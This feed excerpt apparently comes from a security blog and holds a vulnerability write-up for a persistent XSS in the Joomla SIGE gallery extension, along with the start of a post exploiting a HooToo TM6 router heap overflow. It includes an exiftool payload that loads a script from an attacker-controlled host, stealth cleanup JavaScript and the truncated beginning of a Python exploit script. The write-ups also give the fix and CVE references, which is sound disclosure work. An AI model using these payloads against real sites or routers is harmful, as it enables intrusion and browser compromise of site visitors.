</description>
        <pubDate>Sun, 01 Apr 2018 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2018/04/01/screencapure/</link>
        <guid isPermaLink="true">http://debugtrap.com/2018/04/01/screencapure/</guid>
      </item>
     
    
     
      <item>
        <title>Persistent XSS via image metadata</title>
        <description>&lt;p&gt;Joomla SIGE is a popular extension for creating image galleries within the &lt;a href=&quot;https://www.joomla.org/&quot;&gt;Joomla CMS&lt;/a&gt;. An injection vulnerability was discovered that enables execution of a &lt;a href=&quot;https://excess-xss.com/&quot;&gt;Cross Site Scripting (XSS)&lt;/a&gt; attack. The extension does not sanitize the text that it retrieves from the image header. Once published online the the image will cause the browser to load malicious content.&lt;/p&gt;

&lt;h1 id=&quot;vulnerability-details&quot;&gt;Vulnerability Details&lt;/h1&gt;
&lt;p&gt;The version I tested against is 3.2.3 from the Joomla extensions page [0].&lt;/p&gt;

&lt;p&gt;In the &lt;code class=&quot;highlighter-rouge&quot;&gt;htmlImageAddTitleAttribute&lt;/code&gt; function, the title of the image is incorporated into the the HTML:&lt;/p&gt;

&lt;p&gt;On line 1669 of sige.php:&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;plugin_parameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'image_info'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$html&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;amp;lt;strong&amp;amp;gt;&amp;amp;lt;em&amp;amp;gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; 
                &lt;span class=&quot;nv&quot;&gt;$image_title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; 
                &lt;span class=&quot;s1&quot;&gt;'&amp;amp;lt;/em&amp;amp;gt;&amp;amp;lt;/strong&amp;amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$image_description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
           &lt;span class=&quot;nv&quot;&gt;$html&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;' - '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$image_description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The variable &lt;code class=&quot;highlighter-rouge&quot;&gt;image_description&lt;/code&gt; is not escaped properly and allows any character to be sent to the user. The value of this variable is obtained via the &lt;code class=&quot;highlighter-rouge&quot;&gt;getimagesize&lt;/code&gt; function in &lt;code class=&quot;highlighter-rouge&quot;&gt;iptcInfo&lt;/code&gt; function on line 1515:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;iptcInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                          &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$image_title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                          &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$image_description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$iptc_title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$iptc_caption&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$info&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

  &lt;span class=&quot;nb&quot;&gt;getimagesize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JPATH_SITE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;root_folder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
                           &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;images_dir&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
               &lt;span class=&quot;nv&quot;&gt;$info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$iptc_caption&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;utf8_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                       &lt;span class=&quot;nb&quot;&gt;html_entity_decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'caption'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; 
                       &lt;span class=&quot;nx&quot;&gt;ENT_NOQUOTES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$iptc_caption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$image_description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$iptc_caption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The the source of the data of the image description is not escaped and allows the HTML special characters to make their way to the user’s browser.&lt;/p&gt;

&lt;h1 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;In order to take advantage of this vulnerability the attacker needs to prepare an image with malicious content:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;exiftool &lt;span class=&quot;s1&quot;&gt;'-Caption-Abstract=&quot;&amp;gt;
              &amp;lt;script src=&quot;http://192.168.0.101:8000/xss.js&quot; 
                      id=&quot;boom&quot;&amp;gt;
              &amp;lt;/script&amp;gt;&amp;lt;img s=&quot;'&lt;/span&gt; 
          image.jpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This can be done by rewriting the &lt;code class=&quot;highlighter-rouge&quot;&gt;Caption-Abstract&lt;/code&gt; header object in a JPEG file using the exif command line tool. In the value, the attacker places a script tag which loads JavaScript from an attacker controlled web server. Since the content will be injected into an &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;a /&amp;gt;&lt;/code&gt; html tag, it is necessary to close and reopen the double quotes.&lt;/p&gt;

&lt;p&gt;Next, the attacker will need to place the image into the gallery. There are multiple scenarios for how this could happen:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A gallery may allow the public or low-privileged members to upload images.&lt;/li&gt;
  &lt;li&gt;An attacker may already have another vulnerability which allows them to place an image into the gallery directory.&lt;/li&gt;
  &lt;li&gt;The gallery administrator might inadvertently download a malicious image from somewhere on the internet and expose everyone who views the gallery.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the image description is displayed to the user, the attacker can launch attacks against the browser or anything else within the context of the user - which could be the Joomla administrator.&lt;/p&gt;

&lt;p&gt;The problem is that injecting this HTML messes up the DOM of the page, making the exploit not very stealthy. And so, the first thing that the &lt;code class=&quot;highlighter-rouge&quot;&gt;xss.js&lt;/code&gt; will do is clean up. Note that the clean up code has to protect from cleaning up twice because the EXIF caption is inserted twice by the SIGE plugin.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;booms&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;booms&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// remove the first one.&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;boom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;parent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;boom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parentElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parentElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// remove the second one.&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;boom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;imgs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;img&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;imgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;imgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;imgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;src&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;imgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;src&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;imgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// console.info(&quot;Now do evil things :-)&quot;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Even though this isn’t stricly necessary, clean up is good so that users don’t tip off the developers or administrators. This clean up code will remove the script tags and the corrupted image tags but it will maintain a thread of execution to throw browser exploits [1], javascript key loggers [2] or bitcoin miners [3].&lt;/p&gt;

&lt;h1 id=&quot;the-fix&quot;&gt;The fix&lt;/h1&gt;
&lt;p&gt;To fix the vulnerability, the image description field needs to be sanitised in the &lt;code class=&quot;highlighter-rouge&quot;&gt;htmlImageAddTitleAttribute&lt;/code&gt; function, before it reaches the HTML content. PHP provides the htmlspecialchars function to do this. Thanks to Viktor Vogel of Kubik-Rubik for fixing and releasing an update very quickly [4]!&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;setImageInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$fileInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;pluginParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'iptc'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;iptcInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;imageInfo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'htmlspecialchars'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                             &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;imageInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In my tests I was able to confirm that version 3.3.1 is not vulnerable to this exploit. The above code on line 1321 maps over all the data retrieved from the image and applied the &lt;code class=&quot;highlighter-rouge&quot;&gt;htmlspecialchars&lt;/code&gt; function. This ensures that everything from the EXIF header is properly escaped before it is presented to the user.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;0 - &lt;a href=&quot;https://extensions.joomla.org/extension/sige/&quot;&gt;Joomla! Extensions Directory&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1 - &lt;a href=&quot;https://krebsonsecurity.com/2010/01/a-peek-inside-the-eleonore-browser-exploit-kit/&quot;&gt;A Peek Inside the ‘Eleonore’ Browser Exploit Kit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2 - &lt;a href=&quot;https://github.com/JohnHoder/Javascript-Keylogger&quot;&gt;Javascript-Keylogger&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3 - &lt;a href=&quot;https://brominer.com/&quot;&gt;brominer.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4 - &lt;a href=&quot;https://joomla-extensions.kubik-rubik.de/sige-simple-image-gallery-extended&quot;&gt;SIGE Joomla Extension&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 01 Mar 2018 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2018/03/01/joomla_sige_xss/</link>
        <guid isPermaLink="true">http://debugtrap.com/2018/03/01/joomla_sige_xss/</guid>
      </item>
     
    
     
      <item>
        <title>Exploiting the HooToo TM6 router</title>
        <description>&lt;p&gt;&lt;strong&gt;Part 4:&lt;/strong&gt; Finding vulnerabilities in a router is cool. But, what’s cooler is exploiting them. The vendor has been informed of the vulnerabilities and they were recorded in the CVE database (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9026&quot;&gt;CVE-2017-9026&lt;/a&gt; and &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9025&quot;&gt;CVE-2017-9025&lt;/a&gt;). So, hopefully they are no longer a major threat. These vulnerabilities could be exploited in many different ways, even from an Android phone [0]. I wanted to follow through and see what useful things we could do from an attacker perspective.&lt;/p&gt;

&lt;h1 id=&quot;attack-usecases&quot;&gt;Attack Usecases&lt;/h1&gt;
&lt;p&gt;There are many reasons why an attacker might want to exploit one of these devices. One obvious reason is to gain access to the user’s information or manipulate user activity. Having malware on the router means that an attacker could potentially see unencrypted traffic, modify their DNS lookups to enable man-in-the-middle attacks or inject malicious content into traffic. For example, an attacker might want the ability to inject iframes for browser exploitation or catch vulnerable update mechanisms [1].&lt;/p&gt;

&lt;p&gt;Other reasons for leveraging the vulnerabilities in the travel routers are a bit more indirect. One is to obfuscate attack sources and make attribution harder by creating a jump point [2]. Another is to use the router to infect other systems. A person using the travel router would likely be traveling a lot and touching many different networks from a position of some trust. These networks could include hotels, airbnb’s, private residences, cafes and enterprises. And so, having malware on the device would give an attacker a foothold inside another network.&lt;/p&gt;

&lt;h1 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;As was mentioned in earlier posts, it was easier to exploit the heap overflow rather than the stack overflow. It was easier to exploit because the request body is stored on the heap, the heap does not move around and the allocations on the heap are predictable. The latter part was a pleasant surprise, but this is probably because IOOS (the embedded webserver [3]) is a single threaded application and embedded heap libraries try to be as memory conservative as possible.&lt;/p&gt;

&lt;p&gt;Below is the exploit script. The concept is very simple. Put the long string into the &lt;code class=&quot;highlighter-rouge&quot;&gt;Cookie&lt;/code&gt; header to overflow the buffer. Then place the shellcode as the body of the &lt;code class=&quot;highlighter-rouge&quot;&gt;POST&lt;/code&gt; request. This will seed the heap with our data. Then we point the function pointer of the &lt;code class=&quot;highlighter-rouge&quot;&gt;cgi_tab&lt;/code&gt; structure to the shellcode at address &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0059735c&lt;/code&gt;. The great thing about this vulnerability is that we get to use the last &lt;code class=&quot;highlighter-rouge&quot;&gt;\0&lt;/code&gt; appended by &lt;code class=&quot;highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; as part of the little-endian address. Otherwise, it would’ve been tough to add a &lt;code class=&quot;highlighter-rouge&quot;&gt;NULL&lt;/code&gt; into a string operation of the HTTP parser.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socket&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;httplib&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# set first argument given at CLI to 'target' variable&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST /protocol.csp?fname=security&amp;amp;opt=userlock&amp;amp;username=guest&amp;amp;function=get HTTP/1.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Host: 192.168.1.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Connection: keep-alive&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Cache-Control: no-cache&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;If-Modified-Since: 0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
